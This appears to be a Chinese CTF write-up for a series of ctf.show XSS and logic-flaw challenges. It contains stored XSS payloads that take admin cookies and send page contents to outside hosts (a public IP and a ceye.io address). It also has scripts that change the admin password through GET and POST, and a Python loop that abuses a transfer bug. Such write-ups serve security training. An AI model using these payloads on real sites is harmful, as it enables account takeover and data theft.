期间有过滤script、img、空格、iframe的,不一一赘述,以下payload通316-326。
因为要的是管理员cookie,收件人猜测填写admin,在邮件内容插入payload
管理员登录时,会看到所有用户的用户名和密码,只要注册一个带有xss代码的用户即可,当管理员访问该页面,就会执行
在密码或者用户名插入payload都行,网站没有验证输入合法性。
获取到管理员cookie后,修改当前cookie为管理员的即可。
和上题一模一样,可以得到cookie,但是据说这题的cookie很快就失效了,我试了下确实如此,无法登录管理员账户。
据上题的经验得知:flag值会出现在表格第一行的右侧,那直接拿flag就好了,不登录管理员账号了。
<script>window.open('http://公网ip/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
和上题一样,不过位置变了,textContent可以查询容器下所有文本
<script>window.open('http://64jtyb.ceye.io/'+document.querySelector('#top > div.layui-container').textContent)</script>
或者修改管理员密码,实现登录
注意这里的ip是127.0.0.1,抓包获取完整路径
<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>
和上题一样,但是密码修改变成了POST提交,问题就变成了怎么利用JavaScript向服务器发送post请求
看了网上的一些文章,下面这种思路是我没想到的,主要也是js学的还很浅,在源码中找到js/select.js
这段外部js文件,打开有如下代码:
layui.use('form', function(){
var form = layui.form;
form.on('submit(formChange)', function(data){
var newpass = data.field['p'];
$.ajax({
url:'api/change.php',
type:'post',
data:{
p:newpass
},
success:function(data){
layer.msg(data);
}
});
return false;
});
return true;
});
根据源码依样画葫芦就好了
<script>
$.ajax({
url:'api/change.php',
type:'post',
data:{
p:'newpass'
}
});
</script>
还有一种方式是利用XMLHttpRequest对象,和上面一样都是ajax。
<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://127.0.0.1/api/change.php', true);xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");xhr.send('p=1234567');</script>
使用admin/1234567登录即可
想办法把余额搞到9999,就能买这个flag
正常注册用户,一块钱都转不出去,显示有内鬼,终止交易
。然后用xss注册用户,比如,就可以转了,莫名其妙!没看出跟xss有什么关系。可能是因为不能暴露身份,用特殊标签就不会被内鬼发现。任何html标签这里都能用。
然后再结合逻辑漏洞,转账负数金额,这样就变成对方给自己转账了。
和上题一样,只不过金额好像取了绝对值,给别人转正的负的都扣自己钱,那给自己转不就好了。
最大转账数是自己的余额-1,
开了个BP爆破,如下:
或者写个脚本,懒得写。搜集了以下,yu师傅的python脚本如下:
import requests
import re
import time
x=5
url="http://ctf.show/api/amount.php"
url2="http://ctf.show/api/getFlag.php"
headers={
'Cookie':'自己的cookie'
}
while True:
print(x)
t=x-1
data={
'u':'456', #注册的用户名
'a':str(t)
}
r=requests.post(url,headers=headers,data=data)
print(r.text)
if(x>10000):
r2=requests.get(url2,headers=headers)
print(r2.text)
break
x+=t
来都来了,点个赞吧